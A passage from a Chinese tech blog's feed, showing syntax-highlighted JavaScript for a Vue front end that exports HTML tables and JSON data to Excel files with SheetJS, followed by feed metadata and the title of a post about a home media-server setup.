class="variable constant_">XLSX</span>.<span class="property">SSF</span>.<span class="property">_table</span>[<span class="number">14</span>];</span><br><span class="line">        cell.<span class="property">v</span> = <span class="title function_">datenum</span>(cell.<span class="property">v</span>);</span><br><span class="line">      &#125; <span class="keyword">else</span> cell.<span class="property">t</span> = <span class="string">&#x27;s&#x27;</span>;</span><br><span class="line"></span><br><span class="line">      ws[cell_ref] = cell;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> (range.<span class="property">s</span>.<span class="property">c</span> &lt; <span class="number">10000000</span>) ws[<span class="string">&#x27;!ref&#x27;</span>] = <span class="variable constant_">XLSX</span>.<span class="property">utils</span>.<span class="title function_">encode_range</span>(range);</span><br><span class="line">  <span class="keyword">return</span> ws;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">Workbook</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="keyword">if</span> (!(<span class="variable language_">this</span> <span class="keyword">instanceof</span> <span class="title class_">Workbook</span>)) <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">Workbook</span>();</span><br><span class="line">  <span class="variable language_">this</span>.<span class="property">SheetNames</span> = [];</span><br><span class="line">  <span class="variable language_">this</span>.<span class="property">Sheets</span> = &#123;&#125;;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">s2ab</span>(<span class="params">s</span>) &#123;</span><br><span class="line">  <span class="keyword">var</span> buf = <span class="keyword">new</span> <span class="title class_">ArrayBuffer</span>(s.<span class="property">length</span>);</span><br><span class="line">  <span class="keyword">var</span> view = <span class="keyword">new</span> <span class="title class_">Uint8Array</span>(buf);</span><br><span class="line">  <span class="keyword">for</span> (<span class="keyword">var</span> i = <span class="number">0</span>; i != s.<span class="property">length</span>; ++i) view[i] = s.<span class="title function_">charCodeAt</span>(i) &amp; <span class="number">0xFF</span>;</span><br><span class="line">  <span class="keyword">return</span> buf;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">export</span> <span class="keyword">function</span> <span class="title function_">export_table_to_excel</span>(<span class="params">id</span>) &#123;</span><br><span class="line">  <span class="keyword">var</span> theTable = <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(id);</span><br><span class="line">  <span class="keyword">var</span> oo = <span class="title function_">generateArray</span>(theTable);</span><br><span class="line">  <span class="keyword">var</span> ranges = oo[<span class="number">1</span>];</span><br><span class="line"></span><br><span class="line">  <span class="comment">/* original data */</span></span><br><span class="line">  <span class="keyword">var</span> data = oo[<span class="number">0</span>];</span><br><span class="line">  <span class="keyword">var</span> ws_name = <span class="string">&quot;Sheet1&quot;</span>;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">var</span> wb = <span class="keyword">new</span> <span class="title class_">Workbook</span>(),</span><br><span class="line">    ws = <span class="title function_">sheet_from_array_of_arrays</span>(data);</span><br><span class="line"></span><br><span class="line">  <span class="comment">/* add ranges to worksheet */</span></span><br><span class="line">  <span class="comment">// ws[&#x27;!cols&#x27;] = [&#x27;apple&#x27;, &#x27;banan&#x27;];</span></span><br><span class="line">  ws[<span class="string">&#x27;!merges&#x27;</span>] = ranges;</span><br><span class="line"></span><br><span class="line">  <span class="comment">/* add worksheet to workbook */</span></span><br><span class="line">  wb.<span class="property">SheetNames</span>.<span class="title function_">push</span>(ws_name);</span><br><span class="line">  wb.<span class="property">Sheets</span>[ws_name] = ws;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">var</span> wbout = <span class="variable constant_">XLSX</span>.<span class="title function_">write</span>(wb, &#123;</span><br><span class="line">    <span class="attr">bookType</span>: <span class="string">&#x27;xlsx&#x27;</span>,</span><br><span class="line">    <span class="attr">bookSST</span>: <span class="literal">false</span>,</span><br><span class="line">    <span class="attr">type</span>: <span class="string">&#x27;binary&#x27;</span></span><br><span class="line">  &#125;);</span><br><span class="line"></span><br><span class="line">  <span class="title function_">saveAs</span>(<span class="keyword">new</span> <span class="title class_">Blob</span>([<span class="title function_">s2ab</span>(wbout)], &#123;</span><br><span class="line">    <span class="attr">type</span>: <span class="string">&quot;application/octet-stream&quot;</span></span><br><span class="line">  &#125;), <span class="string">&quot;test.xlsx&quot;</span>)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">export</span> <span class="keyword">function</span> <span class="title function_">export_json_to_excel_multi</span>(<span class="params">&#123;</span></span><br><span class="line"><span class="params">  dataArray,</span></span><br><span class="line"><span class="params">  filename,</span></span><br><span class="line"><span class="params">  merges = [],</span></span><br><span class="line"><span class="params">  autoWidth = <span class="literal">true</span>,</span></span><br><span class="line"><span class="params">  bookType = <span class="string">&#x27;xlsx&#x27;</span></span></span><br><span class="line"><span class="params">&#125; = &#123;&#125;</span>) &#123;</span><br><span class="line">  <span class="comment">/* original data */</span></span><br><span class="line">  filename = filename || <span class="string">&#x27;excel-list&#x27;</span></span><br><span class="line">  <span class="comment">// var dataArray = [&#123;header, data, sheetName&#125;]</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">let</span> finalDataArr = []</span><br><span class="line">  <span class="keyword">let</span> wb = <span class="keyword">new</span> <span class="title class_">Workbook</span>();</span><br><span class="line">  <span class="keyword">if</span> (dataArray != <span class="literal">null</span> &amp;&amp; dataArray != []) &#123;</span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">let</span> i = <span class="number">0</span>; i &lt; dataArray.<span class="property">length</span>; i++) &#123;</span><br><span class="line">      <span class="keyword">let</span> data = [...dataArray[i].<span class="property">data</span>]</span><br><span class="line"></span><br><span class="line">      <span class="keyword">let</span> topHeader = []</span><br><span class="line">      <span class="keyword">for</span> (<span class="keyword">let</span> km = <span class="number">0</span>; km &lt; dataArray[i].<span class="property">header</span>.<span class="property">length</span>; km++) &#123;</span><br><span class="line">        <span class="keyword">if</span> (km==<span class="number">0</span>) &#123;</span><br><span class="line">          topHeader.<span class="title function_">push</span>(dataArray[i].<span class="property">sheetName</span>)</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">          topHeader.<span class="title function_">push</span>(<span class="string">&quot;&quot;</span>)</span><br><span class="line">        &#125;</span><br><span class="line">      &#125;</span><br><span class="line">      data.<span class="title function_">unshift</span>(dataArray[i].<span class="property">header</span>);</span><br><span class="line">      data.<span class="title function_">unshift</span>(topHeader);</span><br><span class="line">      <span class="keyword">let</span> start = <span class="title function_">getColumnNameFromIdNotAdd</span>([<span class="number">1</span>, <span class="number">0</span>])</span><br><span class="line">      <span class="keyword">let</span> end = <span class="title function_">getColumnNameFromIdNotAdd</span>([<span class="number">1</span>, dataArray[i].<span class="property">header</span>.<span class="property">length</span> -<span class="number">1</span>])</span><br><span class="line"></span><br><span class="line">      merges = [start + <span class="string">&quot;:&quot;</span> + end];</span><br><span class="line"><span class="comment">/*      for (let j = dataArray[i].multiHeader.length - 1; j &gt; -1; j--) &#123;</span></span><br><span class="line"><span class="comment">        data.unshift(dataArray[i].multiHeader[j])</span></span><br><span class="line"><span class="comment">      &#125;*/</span></span><br><span class="line">      finalDataArr.<span class="title function_">push</span>(data)</span><br><span class="line"></span><br><span class="line">      <span class="keyword">let</span> ws_name = dataArray[i].<span class="property">sheetName</span>;</span><br><span class="line"></span><br><span class="line">      <span class="keyword">let</span> ws = <span class="title function_">sheet_from_array_of_arrays</span>(data);</span><br><span class="line"></span><br><span class="line">      <span class="keyword">if</span> (merges.<span class="property">length</span> &gt; <span class="number">0</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (!ws[<span class="string">&#x27;!merges&#x27;</span>]) ws[<span class="string">&#x27;!merges&#x27;</span>] = [];</span><br><span class="line">        merges.<span class="title function_">forEach</span>(<span class="function"><span class="params">item</span> =&gt;</span> &#123;</span><br><span class="line">          ws[<span class="string">&#x27;!merges&#x27;</span>].<span class="title function_">push</span>(<span class="variable constant_">XLSX</span>.<span class="property">utils</span>.<span class="title function_">decode_range</span>(item))</span><br><span class="line">        &#125;)</span><br><span class="line">      &#125;</span><br><span class="line"></span><br><span class="line">      <span class="keyword">if</span> (autoWidth) &#123;</span><br><span class="line">        <span class="comment">/*设置worksheet每列的最大宽度*/</span></span><br><span class="line">        <span class="keyword">const</span> colWidth = data.<span class="title function_">map</span>(<span class="function"><span class="params">row</span> =&gt;</span> row.<span class="title function_">map</span>(<span class="function"><span class="params">val</span> =&gt;</span> &#123;</span><br><span class="line">          <span class="comment">/*先判断是否为null/undefined*/</span></span><br><span class="line">          <span class="keyword">if</span> (val == <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> &#123;</span><br><span class="line">              <span class="string">&#x27;wch&#x27;</span>: <span class="number">10</span></span><br><span class="line">            &#125;;</span><br><span class="line">          &#125;</span><br><span class="line">          <span class="comment">/*再判断是否为中文*/</span></span><br><span class="line">          <span class="keyword">else</span> <span class="keyword">if</span> (val.<span class="title function_">toString</span>().<span class="title function_">charCodeAt</span>(<span class="number">0</span>) &gt; <span class="number">255</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> &#123;</span><br><span class="line">              <span class="string">&#x27;wch&#x27;</span>: val.<span class="title function_">toString</span>().<span class="property">length</span> * <span class="number">2</span></span><br><span class="line">            &#125;;</span><br><span class="line">          &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> &#123;</span><br><span class="line">              <span class="string">&#x27;wch&#x27;</span>: val.<span class="title function_">toString</span>().<span class="property">length</span></span><br><span class="line">            &#125;;</span><br><span class="line">          &#125;</span><br><span class="line">        &#125;))</span><br><span class="line">        <span class="comment">/*以第一行为初始值*/</span></span><br><span class="line">        <span class="keyword">let</span> result = colWidth[<span class="number">0</span>];</span><br><span class="line">        <span class="keyword">for</span> (<span class="keyword">let</span> i = <span class="number">1</span>; i &lt; colWidth.<span class="property">length</span>; i++) &#123;</span><br><span class="line">          <span class="keyword">for</span> (<span class="keyword">let</span> j = <span class="number">0</span>; j &lt; colWidth[i].<span class="property">length</span>; j++) &#123;</span><br><span class="line">            <span class="keyword">if</span> (result[j][<span class="string">&#x27;wch&#x27;</span>] &lt; colWidth[i][j][<span class="string">&#x27;wch&#x27;</span>]) &#123;</span><br><span class="line">              result[j][<span class="string">&#x27;wch&#x27;</span>] = colWidth[i][j][<span class="string">&#x27;wch&#x27;</span>];</span><br><span class="line">            &#125;</span><br><span class="line">          &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        ws[<span class="string">&#x27;!cols&#x27;</span>] = result;</span><br><span class="line">      &#125;</span><br><span class="line"></span><br><span class="line">      <span class="comment">/* add worksheet to workbook */</span></span><br><span class="line">      wb.<span class="property">SheetNames</span>.<span class="title function_">push</span>(ws_name);</span><br><span class="line">      wb.<span class="property">Sheets</span>[ws_name] = ws;</span><br><span class="line">      <span class="comment">//excel标题样式</span></span><br><span class="line">      <span class="keyword">let</span> dataInfo = wb.<span class="property">Sheets</span>[ws_name];</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">      <span class="keyword">let</span> overCells = []</span><br><span class="line">      <span class="keyword">let</span> overPosArr = dataArray[i].<span class="property">overPosArr</span></span><br><span class="line">      <span class="keyword">if</span> (overPosArr != <span class="literal">null</span> &amp;&amp; overPosArr != <span class="literal">undefined</span> &amp;&amp; overPosArr != <span class="string">&#x27;&#x27;</span>) &#123;</span><br><span class="line">        <span class="keyword">for</span> (<span class="keyword">let</span> n = <span class="number">0</span>; n &lt; overPosArr.<span class="property">length</span>; n++) &#123;</span><br><span class="line">          overCells.<span class="title function_">push</span>(<span class="title function_">getColumnNameFromId</span>(overPosArr[n]))</span><br><span class="line">        &#125;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">for</span> (<span class="keyword">let</span> m <span class="keyword">in</span> dataInfo) &#123;</span><br><span class="line">        <span class="keyword">if</span> (m == <span class="string">&quot;!ref&quot;</span> || m == <span class="string">&quot;!merges&quot;</span> || m == <span class="string">&quot;!cols&quot;</span> || m == <span class="string">&quot;!rows&quot;</span>) &#123; &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">          <span class="keyword">let</span> num = <span class="title function_">getNum</span>(m+<span class="string">&quot;&quot;</span>);</span><br><span class="line">          <span class="keyword">if</span> (num != <span class="literal">null</span> &amp;&amp; num != <span class="literal">undefined</span> &amp;&amp; num == <span class="number">1</span>) &#123;</span><br><span class="line">            dataInfo[m + <span class="string">&quot;&quot;</span>].<span class="property">s</span> = <span class="title function_">getHeaderStyle</span>();</span><br><span class="line">          &#125;</span><br><span class="line">          <span class="keyword">if</span> (overCells.<span class="title function_">indexOf</span>(m + <span class="string">&quot;&quot;</span>) &gt;= <span class="number">0</span>) &#123;</span><br><span class="line">            dataInfo[m + <span class="string">&quot;&quot;</span>].<span class="property">s</span> = <span class="title function_">getOverStyle</span>();</span><br><span class="line">          &#125;</span><br><span class="line">        &#125;</span><br><span class="line">      &#125;</span><br><span class="line">     <span class="comment">/* for (let m = 0; m &lt; dataArray[i].header.length; m++) &#123;</span></span><br><span class="line"><span class="comment">        dataInfo[arr[i]].s = style;</span></span><br><span class="line"><span class="comment">      &#125;*/</span></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">let</span> wbout = <span class="variable constant_">XLSX</span>.<span class="title function_">write</span>(wb, &#123;</span><br><span class="line">      <span class="attr">bookType</span>: bookType,</span><br><span class="line">      <span class="attr">bookSST</span>: <span class="literal">false</span>,</span><br><span class="line">      <span class="attr">type</span>: <span class="string">&#x27;binary&#x27;</span></span><br><span class="line">    &#125;);</span><br><span class="line">    <span class="title function_">saveAs</span>(<span class="keyword">new</span> <span class="title class_">Blob</span>([<span class="title function_">s2ab</span>(wbout)], &#123;</span><br><span class="line">      <span class="attr">type</span>: <span class="string">&quot;application/octet-stream&quot;</span></span><br><span class="line">    &#125;), <span class="string">`<span class="subst">$&#123;filename&#125;</span>.<span class="subst">$&#123;bookType&#125;</span>`</span>);</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="comment">/*data = [...data]</span></span><br><span class="line"><span class="comment">  data.unshift(header);</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">  for (let i = multiHeader.length - 1; i &gt; -1; i--) &#123;</span></span><br><span class="line"><span class="comment">    data.unshift(multiHeader[i])</span></span><br><span class="line"><span class="comment">  &#125;*/</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">getNum</span>(<span class="params">str</span>) &#123;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">let</span> numArr = [<span class="string">&#x27;1&#x27;</span>, <span class="string">&#x27;2&#x27;</span>, <span class="string">&#x27;3&#x27;</span>, <span class="string">&#x27;4&#x27;</span>, <span class="string">&#x27;5&#x27;</span>, <span class="string">&#x27;6&#x27;</span>, <span class="string">&#x27;7&#x27;</span>, <span class="string">&#x27;8&#x27;</span>, <span class="string">&#x27;9&#x27;</span>, <span class="string">&#x27;0&#x27;</span>];</span><br><span class="line">  <span class="keyword">let</span> num</span><br><span class="line"> <span class="keyword">if</span> (str != <span class="literal">null</span> &amp;&amp; str != <span class="string">&#x27;&#x27;</span>) &#123;</span><br><span class="line">   <span class="keyword">for</span> (<span class="keyword">let</span> i = <span class="number">0</span>; i &lt; str.<span class="property">length</span>; i++) &#123;</span><br><span class="line">     <span class="keyword">if</span> (numArr.<span class="title function_">indexOf</span>(str[i]) &gt;= <span class="number">0</span>) &#123;</span><br><span class="line">      num = str.<span class="title function_">substring</span>(i)</span><br><span class="line">       <span class="keyword">return</span> num</span><br><span class="line">     &#125;</span><br><span class="line">   &#125;</span><br><span class="line"> &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">getHeaderStyle</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="keyword">const</span> borderAll = &#123;</span><br><span class="line">    <span class="attr">top</span>: &#123;</span><br><span class="line">      <span class="attr">style</span>: <span class="string">&quot;thin&quot;</span></span><br><span class="line">    &#125;,</span><br><span class="line">    <span class="attr">bottom</span>: &#123;</span><br><span class="line">      <span class="attr">style</span>: <span class="string">&quot;thin&quot;</span></span><br><span class="line">    &#125;,</span><br><span class="line">    <span class="attr">left</span>: &#123;</span><br><span class="line">      <span class="attr">style</span>: <span class="string">&quot;thin&quot;</span></span><br><span class="line">    &#125;,</span><br><span class="line">    <span class="attr">right</span>: &#123;</span><br><span class="line">      <span class="attr">style</span>: <span class="string">&quot;thin&quot;</span></span><br><span class="line">    &#125;</span><br><span class="line">  &#125;;</span><br><span class="line">  <span class="keyword">let</span> style = &#123;</span><br><span class="line">    <span class="comment">// border: borderAll,</span></span><br><span class="line">    <span class="attr">font</span>: &#123;</span><br><span class="line">      <span class="comment">// name: &quot;宋体&quot;,</span></span><br><span class="line">      <span class="comment">// sz: 18,</span></span><br><span class="line">      <span class="attr">color</span>: &#123; <span class="attr">rgb</span>: <span class="string">&quot;000000&quot;</span> &#125;,</span><br><span class="line">      <span class="attr">bold</span>: <span class="literal">true</span>,</span><br><span class="line">      <span class="comment">// italic: false,</span></span><br><span class="line">      <span class="comment">// underline: false</span></span><br><span class="line">    &#125;,</span><br><span class="line">    <span class="attr">alignment</span>: &#123;</span><br><span class="line">      <span class="attr">horizontal</span>: <span class="string">&quot;center&quot;</span>,</span><br><span class="line">      <span class="attr">vertical</span>: <span class="string">&quot;center&quot;</span></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// fill: &#123;</span></span><br><span class="line">    <span class="comment">//   fgColor: &#123;rgb: &quot;008000&quot;&#125;,</span></span><br><span class="line">    <span class="comment">// &#125;,</span></span><br><span class="line">  &#125;;</span><br><span class="line">  <span class="keyword">return</span> style</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">getOverStyle</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="keyword">let</span> style = &#123;</span><br><span class="line">    <span class="attr">font</span>: &#123;</span><br><span class="line">      <span class="comment">// name: &quot;宋体&quot;,</span></span><br><span class="line">      <span class="comment">// sz: 18,</span></span><br><span class="line">      <span class="attr">color</span>: &#123; <span class="attr">rgb</span>: <span class="string">&quot;FF0000&quot;</span> &#125;,</span><br><span class="line">      <span class="attr">bold</span>: <span class="literal">false</span>,</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;;</span><br><span class="line">  <span class="keyword">return</span> style</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">export</span> <span class="keyword">function</span> <span class="title function_">export_json_to_excel</span>(<span class="params">&#123;</span></span><br><span class="line"><span class="params">                                       multiHeader = [],</span></span><br><span class="line"><span class="params">                                       header,</span></span><br><span class="line"><span class="params">                                       data,</span></span><br><span class="line"><span class="params">                                       filename,</span></span><br><span class="line"><span class="params">                                       merges = [],</span></span><br><span class="line"><span class="params">                                       autoWidth = <span class="literal">true</span>,</span></span><br><span class="line"><span class="params">                                       bookType = <span class="string">&#x27;xlsx&#x27;</span></span></span><br><span class="line"><span class="params">                                     &#125; = &#123;&#125;</span>) &#123;</span><br><span class="line">  <span class="comment">/* original data */</span></span><br><span class="line">  filename = filename || <span class="string">&#x27;excel-list&#x27;</span></span><br><span class="line">  data = [...data]</span><br><span class="line">  <span class="keyword">for</span> (<span class="keyword">let</span> i = multiHeader.<span class="property">length</span> - <span class="number">1</span>; i &gt; -<span class="number">1</span>; i--) &#123;</span><br><span class="line">    data.<span class="title function_">unshift</span>(multiHeader[i])</span><br><span class="line">  &#125;</span><br><span class="line">  data.<span class="title function_">unshift</span>(header);</span><br><span class="line"></span><br><span class="line">  <span class="keyword">var</span> ws_name = <span class="string">&quot;Sheet1&quot;</span>;</span><br><span class="line">  <span class="keyword">var</span> wb = <span class="keyword">new</span> <span class="title class_">Workbook</span>(),</span><br><span class="line">    ws = <span class="title function_">sheet_from_array_of_arrays</span>(data);</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> (merges.<span class="property">length</span> &gt; <span class="number">0</span>) &#123;</span><br><span class="line">    <span class="keyword">if</span> (!ws[<span class="string">&#x27;!merges&#x27;</span>]) ws[<span class="string">&#x27;!merges&#x27;</span>] = [];</span><br><span class="line">    merges.<span class="title function_">forEach</span>(<span class="function"><span class="params">item</span> =&gt;</span> &#123;</span><br><span class="line">      ws[<span class="string">&#x27;!merges&#x27;</span>].<span class="title function_">push</span>(<span class="variable constant_">XLSX</span>.<span class="property">utils</span>.<span class="title function_">decode_range</span>(item))</span><br><span class="line">    &#125;)</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> (autoWidth) &#123;</span><br><span class="line">    <span class="comment">/*设置worksheet每列的最大宽度*/</span></span><br><span class="line">    <span class="keyword">const</span> colWidth = data.<span class="title function_">map</span>(<span class="function"><span class="params">row</span> =&gt;</span> row.<span class="title function_">map</span>(<span class="function"><span class="params">val</span> =&gt;</span> &#123;</span><br><span class="line">      <span class="comment">/*先判断是否为null/undefined*/</span></span><br><span class="line">      <span class="keyword">if</span> (val == <span class="literal">null</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> &#123;</span><br><span class="line">          <span class="string">&#x27;wch&#x27;</span>: <span class="number">10</span></span><br><span class="line">        &#125;;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="comment">/*再判断是否为中文*/</span></span><br><span class="line">      <span class="keyword">else</span> <span class="keyword">if</span> (val.<span class="title function_">toString</span>().<span class="title function_">charCodeAt</span>(<span class="number">0</span>) &gt; <span class="number">255</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> &#123;</span><br><span class="line">          <span class="string">&#x27;wch&#x27;</span>: val.<span class="title function_">toString</span>().<span class="property">length</span> * <span class="number">2</span></span><br><span class="line">        &#125;;</span><br><span class="line">      &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> &#123;</span><br><span class="line">          <span class="string">&#x27;wch&#x27;</span>: val.<span class="title function_">toString</span>().<span class="property">length</span></span><br><span class="line">        &#125;;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;))</span><br><span class="line">    <span class="comment">/*以第一行为初始值*/</span></span><br><span class="line">    <span class="keyword">let</span> result = colWidth[<span class="number">0</span>];</span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">let</span> i = <span class="number">1</span>; i &lt; colWidth.<span class="property">length</span>; i++) &#123;</span><br><span class="line">      <span class="keyword">for</span> (<span class="keyword">let</span> j = <span class="number">0</span>; j &lt; colWidth[i].<span class="property">length</span>; j++) &#123;</span><br><span class="line">        <span class="keyword">if</span> (result[j][<span class="string">&#x27;wch&#x27;</span>] &lt; colWidth[i][j][<span class="string">&#x27;wch&#x27;</span>]) &#123;</span><br><span class="line">          result[j][<span class="string">&#x27;wch&#x27;</span>] = colWidth[i][j][<span class="string">&#x27;wch&#x27;</span>];</span><br><span class="line">        &#125;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    ws[<span class="string">&#x27;!cols&#x27;</span>] = result;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="comment">/* add worksheet to workbook */</span></span><br><span class="line">  wb.<span class="property">SheetNames</span>.<span class="title function_">push</span>(ws_name);</span><br><span class="line">  wb.<span class="property">Sheets</span>[ws_name] = ws;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">var</span> wbout = <span class="variable constant_">XLSX</span>.<span class="title function_">write</span>(wb, &#123;</span><br><span class="line">    <span class="attr">bookType</span>: bookType,</span><br><span class="line">    <span class="attr">bookSST</span>: <span class="literal">false</span>,</span><br><span class="line">    <span class="attr">type</span>: <span class="string">&#x27;binary&#x27;</span></span><br><span class="line">  &#125;);</span><br><span class="line">  <span class="title function_">saveAs</span>(<span class="keyword">new</span> <span class="title class_">Blob</span>([<span class="title function_">s2ab</span>(wbout)], &#123;</span><br><span class="line">    <span class="attr">type</span>: <span class="string">&quot;application/octet-stream&quot;</span></span><br><span class="line">  &#125;), <span class="string">`<span class="subst">$&#123;filename&#125;</span>.<span class="subst">$&#123;bookType&#125;</span>`</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 根据坐标获取列名</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> &#123;<span class="type">Object</span>&#125; <span class="variable">cellId</span></span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">getColumnNameFromId</span>(<span class="params">cellId</span>)&#123;</span><br><span class="line">  <span class="keyword">if</span> (! <span class="title class_">Array</span>.<span class="title function_">isArray</span>(cellId)) &#123;</span><br><span class="line">    cellId = cellId.<span class="title function_">split</span>(<span class="string">&#x27;-&#x27;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">var</span> i = cellId[<span class="number">1</span>];</span><br><span class="line">  <span class="keyword">var</span> letter = <span class="string">&#x27;&#x27;</span>;</span><br><span class="line">  <span class="keyword">if</span> (i &gt; <span class="number">701</span>) &#123;</span><br><span class="line">    letter += <span class="title class_">String</span>.<span class="title function_">fromCharCode</span>(<span class="number">64</span> + <span class="built_in">parseInt</span>(i / <span class="number">676</span>));</span><br><span class="line">    letter += <span class="title class_">String</span>.<span class="title function_">fromCharCode</span>(<span class="number">64</span> + <span class="built_in">parseInt</span>((i % <span class="number">676</span>) / <span class="number">26</span>));</span><br><span class="line">  &#125; <span class="keyword">else</span> <span class="keyword">if</span> (i &gt; <span class="number">25</span>) &#123;</span><br><span class="line">    letter += <span class="title class_">String</span>.<span class="title function_">fromCharCode</span>(<span class="number">64</span> + <span class="built_in">parseInt</span>(i / <span class="number">26</span>));</span><br><span class="line">  &#125;</span><br><span class="line">  letter += <span class="title class_">String</span>.<span class="title function_">fromCharCode</span>(<span class="number">65</span> + (i % <span class="number">26</span>));</span><br><span class="line">  <span class="keyword">return</span> letter + (<span class="built_in">parseInt</span>(cellId[<span class="number">0</span>]) + <span class="number">3</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 根据坐标获取列名</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> &#123;<span class="type">Object</span>&#125; <span class="variable">cellId</span></span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">getColumnNameFromIdNotAdd</span>(<span class="params">cellId</span>)&#123;</span><br><span class="line">  <span class="keyword">if</span> (! <span class="title class_">Array</span>.<span class="title function_">isArray</span>(cellId)) &#123;</span><br><span class="line">    cellId = cellId.<span class="title function_">split</span>(<span class="string">&#x27;-&#x27;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">var</span> i = cellId[<span class="number">1</span>];</span><br><span class="line">  <span class="keyword">var</span> letter = <span class="string">&#x27;&#x27;</span>;</span><br><span class="line">  <span class="keyword">if</span> (i &gt; <span class="number">701</span>) &#123;</span><br><span class="line">    letter += <span class="title class_">String</span>.<span class="title function_">fromCharCode</span>(<span class="number">64</span> + <span class="built_in">parseInt</span>(i / <span class="number">676</span>));</span><br><span class="line">    letter += <span class="title class_">String</span>.<span class="title function_">fromCharCode</span>(<span class="number">64</span> + <span class="built_in">parseInt</span>((i % <span class="number">676</span>) / <span class="number">26</span>));</span><br><span class="line">  &#125; <span class="keyword">else</span> <span class="keyword">if</span> (i &gt; <span class="number">25</span>) &#123;</span><br><span class="line">    letter += <span class="title class_">String</span>.<span class="title function_">fromCharCode</span>(<span class="number">64</span> + <span class="built_in">parseInt</span>(i / <span class="number">26</span>));</span><br><span class="line">  &#125;</span><br><span class="line">  letter += <span class="title class_">String</span>.<span class="title function_">fromCharCode</span>(<span class="number">65</span> + (i % <span class="number">26</span>));</span><br><span class="line">  <span class="keyword">return</span> letter + (<span class="built_in">parseInt</span>(cellId[<span class="number">0</span>]));</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">vue纯前端导出excel</summary>
    
    
    
    <category term="vue" scheme="https://blog.allbs.cn/categories/vue/"/>
    
    
    <category term="excel" scheme="https://blog.allbs.cn/tags/excel/"/>
    
    <category term="vue" scheme="https://blog.allbs.cn/tags/vue/"/>
    
  </entry>
  
  <entry>
    <title>摆脱爱优腾，使用Emby/jellyfin+nastool+pt打造一套完整的家庭影音系统</title>
    <link href="https://blog.allbs.cn/posts/26211/"/>
    <id>https://blog.allbs.cn/posts/26211/</id>
    <published>2023-08-24T07:13:00.000Z</published>
    <updated>2025-11-28T06:48:01.058Z</updated>
    
